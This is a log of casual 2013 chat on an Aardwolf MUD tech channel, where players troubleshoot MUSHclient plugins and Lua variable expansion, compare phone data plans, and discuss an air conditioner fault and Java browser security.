T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: and you would never pluralize using an appostrophe
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: bb10 not so good for internet because no monthly data fee you can get for cheap
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's a per-plan basis, not per-phone :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: What does the phone type have to do with what the data plan costs?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: i love my blackberry :) 
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it doesn't, as I said :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: I'm too slow :D
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: if your not wealthy then it matters.. duh
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: it can for whether data is internet data or data is BBM
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: How? Does your phone come with a plan attached?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Jhav Tech: If my wealthy then it matters?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: like 5 dollars a month fir uncapped downloading surfing etc.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Again, that's dependant on your data plan, not your phone model.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If they don't offer that particular plan for the bb10, then they don't offer it. But, the type of phone does not affect the limits directly.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: Well, data plans are attached to the sim card, not the phone... or do you have a different system in the americas?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: it can, many providers offer different plans depending on the capabilities of the device...like for a midp phone, unlimited surfing is much cheaper than for a "real" smartphone
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: and tablets often have different data plans available than for phones
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, yeah. But still what it boils down to, is that they don't offer his current plan on the bb10, but the phone doesn't control the data limits :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: it controls his data plan limit options
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not trying to argue that, just helping him word his statements better :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: in south africa bb us the only phone you pay a monthly fee for uncapped downloads, androids don't got that ... they are insanely expensive to downliad a few gigs.. but mayb its different in other countries
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: which is what he said...he can't data plans on bb10 for the same price as he's getting them for the playbook which is a tablet
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: In Sweden, phones are one thing, data plans another. And data plans are connected to the sim card, no matter which phone I put it into.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Don't keep up on BB news at all, wasn't even aware they had a tablet :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: How does that work, since BB's trademark is the physical keyboard?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: the bb playbook is sweet ;)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: which is also why so many SA plans allow included data to mxit through Internet data, but charge separately for other Internet data access
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: touch screen
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: how do you know this Cain?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: heh, this week is the 2-year anniversary of the BB playbook
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: slyzora: mxit worked with Lasher to offer a connection from mxit to aardwolf, and we got a huge influx of mxiters
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: lol Cain , your quite clued up
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I know it's a touch screen. A tablet with a physical keyboard is a laptop :P (or yoga, surface, etc)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: oh ok Cain :)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: lol Cheezy :D
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: mxit is where i found aardwolf :) 
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: I even have a mxit account :-) (but sadly can't get to Aard from it, as that connection requires 500 mxit moola a month, and you can't get moola from the US)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: I'll transefer you moola next month :) then ylu can try it out
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Mattk Tech: mxit is from like south africa isnt it
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: yes mattk, although it's generally available anywhere
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: yes its created in south africa, but i think it was last year an overseas company bought it out, they upgraded it allot
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: Old trick, offer the customer a sandboxed product they can control and keep you in for a lower cost than the real product (e.g. AOL). Doesn't cost them less, but makes it harder for you to switch provider.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: compuserve before aol...aol did it much better though
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: how many minutes does aard gives you to idle ?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ayasinda Tech: after 15 minutes you get the 'Your eyes glaze over' message. Don't know hiw much longer you get
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Bast Tech: if you want anti idle functionality, just use a trigger on this: "Your eyes glaze over." that does "look"
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: oh, reason why I'm asking is because my client keep alive setting was set to 6min.. when i return from AFK after 6 min it doesn't register any input but i do get fresh game info.. I've set the keep alive to 1 min now, now i can be away for 30 min and when i come back it registers my input..
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: ty i sorted it now
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: you don't even need to look in order to stay online without idling out...just hitting "enter" is enough...and it's much more foolproof to use a timer than a trigger...the trigger text is subject to change (it's not likely to change often, but it HAS changed since I've been playing, which screwed up lots of people's idle trigs)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: and for instructions on doing a timer-based anti-idle in MUSHclient, board general, note read 23206
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: thanks ! I'll read it now
T3/r7/2013-04-16.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i need a simple lua example for miniwin. so far every example had zillion of functions that drives me nuts. i only need a working one with text+hotspots. any ideas?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Zarra Tech: anyone know how i get the void to coughup my camera and my youtube? (android phone)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Zarra Tech: omg. i want my sd card back :/
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: anyone around who knows ac units?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: We need a Mechanic channel ;x
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: could try gossip
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Kashra Tech: what's wrong with it
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Zarra Tech: enough to say dont mess with that freon. it can be deadly
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: Styx needs hos AC working so he can "bring back paradise"
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: Keeps momentarily shutting off then coming right back on, and by momentarily, I mean split second.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: happens randomly, but enough that you notice it
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Check the batteries in your themosat?  Some of the electrical thermostats can do wacky stuff if they get low batteries.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Zarra Tech: id say its on too cold of a temp
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: I have a Nest, it better not be my thermostat ;x
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Zarra Tech: ac's  can freeze themselves
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: Its on 74, not too low a temp.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: how do you like the nest, styx?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: Love it, except if its causing this, but the little I could find online doesn't suggest its the thermostat
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: So I love it
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: It actually sounds like you've got something breaking up your return so that it's getting blasts of colder air at the thermostat sensor that is momentarily causing it to kick off and back on, when the air temp re-regulates.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: altho lately I've had a bit of trouble keeping it connected to the wifi, wants to drop the signal a lot.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: but regardless - I'd be calling someone out to take a look at it and test - you don't want to have to deal with a blown motor if it keeps up
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: other alternative is that you could need a freon recharge.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: True that, guess I'll do tht tomorrow, was just hoping to find someone who could tell me what it sounds like.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Might also be a faulty thermo sensor as well.  Those can go bad and start getting noisy, sending erroneous spikes that tell the system to shut down.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I'll tell you what I did last year.  I didn't call for a service when my started doing wacky shit last year, and I ended up with a $4000.00 new install.  So, my recommendation, is don't do what I did. *wry grin*
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Shameful Dugrant Tech: In any event, call an HVAC guy.  They'll be able to troubleshoot it a lot better than the goons on tech =P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}The River Styx Tech: ya ya, I'll call them.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: mmmmm goons
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Shameful Dugrant Tech: hired goons, no less.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Antrei Tech: anyone familiar with "MUSHclient" have any ideas why my "big map" is not showing up??? i haven't played in a while and i'm new to MUDs...
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: try typing "bigmap on"
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: tried it, resulted with : invalid bigmap option given
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: type "bigmap help", see what options exist...I'm guessing your version of MUSHclient is from before it had the on/off commands
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: so it's probably bigmap show
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: typing "bigmap" shows the bigmap, but not in the bigmap tab... weird... s
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: ahh, try typing "tags bigmap on"
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: actually, it looks like you don't have the bigmap plugin loaded, as that "Invalid bigmap option given." response is from the MUD and not from the bigmap plugin
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: go to file -> plugins, and one of the first ones should be Aardwolf_BigMap_Graphical...make sure it's there, and that the second-last column in its listing is Yes for enabled
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: success! thank you sir! i would not have figured that out... 
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: huh
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what does 'checkversion' say for you, Antrei?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: where do i type that?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: just at the command line
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: it says: sorry antrei, you can't do that
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's what I figured
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't think you're actually using the aardwolf mushclient package
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: meaning?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: meaning where did you download mushclient from?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: good question... i dl'd it about 3 yrs ago... maybe i just googled mudclient? 
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: i just started playing again, so i haven't even explored the options of anything recent
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: interesting
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well I wonder how much success you could have had from abelinc's instructions
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ophelion Tech: link him to your google page fiendish.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://aardwolfclientpackage.googlecode.com/
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ok
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: what do you mean, his instructions worked for me... the tab now displays :
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: "the map will appear here when you move 'outside'
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'd investigate further, but if you're happy then I'm happy
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Antrei Tech: i do love a good investigation, but i'm just not sure what you are wanting to investigate
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: For some reason, my health bar plugin (mush) isn't loading - any ideas?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what did you do recently
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: Nothing. Its the first time loading mush since I added Bast's plugins, Ive had a similar issue
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nothing. something. maybe it's behind another miniwindow?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: I don't think so. When I opened mush, I got an error message
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah but error messages are never important
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: Aurelia blinks innocently.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: I read it. It didn't refer to a plugin that was missing though, so I'm not sure whats wrong.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm sure everything is working normally. Don't bother telling me the error message.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: General problem with a paramater to script call - setuphotspotsand draw
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: go on
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: possibly a problem creating the window if its the first time running, but its not - this is the second time I've opened it
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I think we've established already though that you're not actually able to troubleshoot this. You should stick to telling me what the error message said.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: Reason: Executing plugin Aardwolf_Health_Bars sub OnPluginInstall
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm sure I already know the problem and the solution.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Except I know there's more to the error message than that, and I won't tell you until you show the rest of it.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: I've shown it all
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you showed one line
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: plugin error messages always show a backtrace
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so like at least 10 lines
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Anyway, like I said, I already know what the problem and the solution are. But if I didn't you'd be in a real fix, because you're doing an apallingly bad job of providing information to the only person who can help you.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: replace your health bars plugin with this version https://aardwolfclientpackage.googlecode.com/svn/trunk/MUSHclient/worlds/plugins/aard_health_bars_gmcp.xml
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: With a small amount of luck it will solve your "general problem" problem that happened after you did nothing except for those things you did.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: And in the future please be more honest.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: Awesome, it fixed it
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Zarra Tech: always be honest. its so much easier
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Gorelab Tech: history
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: of course it did
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: stupid lua
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I've spent the past hour or so trying to figure out why print(a,b) shows "19 19" but "a = b" breaks something. it turns out that a-b is 3.5527136788005e-015 and print is just lying to me
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Dochyel Tech: crap...
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Dochyel Tech: oh
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: any MSSQL server people around? i have a borked sql server 2008 instance (or service?) that i want to remove. i'm really bad with it's terminology and google results are a bit confusing
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: k. apparently it doesn't have the option in the install center, but you have to go to add-remove progams and it gives you the option during server uninstall. problem solved
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Slyzora Tech: lol you confused me :)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: did anyone install java update ver 21?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: got rid of java long time ago
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: did it break something?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: why? no good?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: got browser error of some sort
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you absolutely positively NEED java in the browser, keep it. otherwise get rid of the browser plugins. it's asking for trouble
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: mind telling me y? memory hog?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i had it installed for openoffice and later libre, but libre works fine without java nowdays
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: because java is pretty much the most unsafe thing you can run in your browser
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: google "java exploit"
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so if you don't absolutely need it (usually some web app used for work), uninstall it
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: lol this is bad, thank Dagnir..I just know
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: chrome should ask you if you really-really want to run java on some pages, so it's not that bad
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but the updater is still annoying and there's usually no reason to have it installed
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: I manually update, but
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vesuviou Tech: I disable the auto update feature
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: I'm having an issue with my quest miniwindow (mush) - earlier, it worked fine but now when I pick up a quest the miniwindow is blank, any thoughts?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try re-installing it
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: ohk, thanks
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ayasinda Tech: if by blank you mean black. The general solution is to restart mush.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ayasinda Tech: it happens often
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: Not really
T3/r7/2013-04-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: you would be supprised aurelia
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ayasinda Tech: lets say this will not be a one time event. It happens to quest window and sometimes to area map window
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Redryn Tech: using bast's plugins?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: Yeah
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Redryn Tech: known bug
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vonliege Tech: oh come on! Aurelia thought Ayasinda was 'asking' if it happened often to Aurelia... while Ayasinda ment that it just happens alot.. period.  CONFUSION!
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Redryn Tech: no solution other than restarting mush
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Nuanse Tech: restart events plugin
T3/r7/2013-04-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think it sometimes happens to the gquest window aswell
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: ohk, we'll see
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vonliege Tech: you can also try 'mquest quest <open/front>'
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: what does that do?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vonliege Tech: that will ensure that the window is open, and bring it out from behind any other windows if it got hid, accidentally
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aurelia Tech: oh nice, thanks
T3/r7/2013-04-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think that opens up the window and brings it to the front, and thats not the problem von
T3/r7/2013-04-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lag
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vonliege Tech: no... not in this case.. .but it's useful all the same
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ayasinda Tech: the problem is that the window sometimes turns completely black
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Vonliege Tech: it's the one that gets my nuts outa the fire from time to time.. My quest mini window just disappears from time to time
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Ayasinda, in complete agreement.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone every have a problem where they can not connect to google.com but can connect to gmail.com? gmail seems to be the only website that works for me ATM
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: what symbol represents getvariable on mush?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: symbol?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Pedwiddle Tech: Capitalization matters - GetVariable
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: Leinei nods at Pedwiddle.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: wasnt it @ or something?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: what are you trying to do?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: how would you use it in a execute line?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: trying to get a variable in a tell line
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: If you have a MUSH variable called foo, you can do @foo and check the box for expand variables
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: no need for getvariable
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: assuming you're sending to execute
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: got a bit of script before it
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: Then you can't send to execute
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: well, unless you're using a scripting prefix
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: Either send to execute (or world is fine) and use @foo, or send to script and use GetVariable("foo")
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: i thought thats what Execute(" tell clan im fkreason") does...
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: as an example
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: If you're sending to script, then yeah: Execute("tell mike I like "..GetVariable("foo"))
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: Actually, just @foo would probably work in that case, too, if you have expand variables checked
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: But not positive
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: assuming you did: Execute("tell mike I like "..@foo)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: The first should definitely work.  I think the second one will too, but not positive.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: I'm not sure that would work as you would like.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: For example, if foo was 'hello' it would expand into Execute("tell mike I like "..hello) <-- note the lack of "s
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: all mush variables are strings
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: actual mush variables, that is, not variables inside a script/plugin
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Yes, but I'm pretttttty sure it drops it in literally without trying to add quotes around it or anything.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: "literally" in this case already has quotes
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: for all intents and purposes
T3/r7/2013-04-17.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: well,i unchecked and checked expanded variables,seems to be working
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Yeah, totally just tried it.  If you do "Execute("echo test " .. oo)" and the string value of oo doesn't contain quotes, you'll get a script error.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: do you have expand variables checked
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: +?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: You'll want to Execute("echo test " .. "oo") almost certainly
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Yes
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Err
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Execute("echo test " .. "@foo")
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: I think that probably means expand variables just doesn't work when you're sending to script
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Because it exapnded @foo into bar, so you get Execute("echo test " .. bar)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: And bar is treated as a variable in Lua, NOT a string.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: It works your way?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Yes... though if you have quotes in @foo, you'll have more trouble :P
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Lamya Tech: Why are "foo" and "bar" used so often as hypothetical variable names?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: huh...I'm surprised
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Really, if you want to do that kinda stuff with variables, should just be sending to Execute in the first place.  Using the @ stuff in send to script just causes trouble.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Lots of trouble.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: If you use GetVariable("foo") instead of @foo, does it work?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: without the quotes, I mean
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Yes.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: huh, I always assumed that GetVariable("foo") and @foo would return the same thing
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Nah, the difference is that @foo is evaluated before passing to the Lua engine.  There's no way for it to know you want a string or a number of what, so it does just drop it in and hopes you know what you're doing.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: or what*
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: nods, nice to know
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: but yeah, my bad
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Mye Tech: in mush, if alias takes multiple arguments, and i want to execute it with a space in one argument, can i do this without using a regular expression or additional code in the alias itself? (IIRC, zmud let you do "aliasname {arg1 with space} arg2" or something like that so %1 would be "arg1 with space")
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Hanslanda Tech: is this alias going to have arg-with-space potential for each argument or just a specific one?
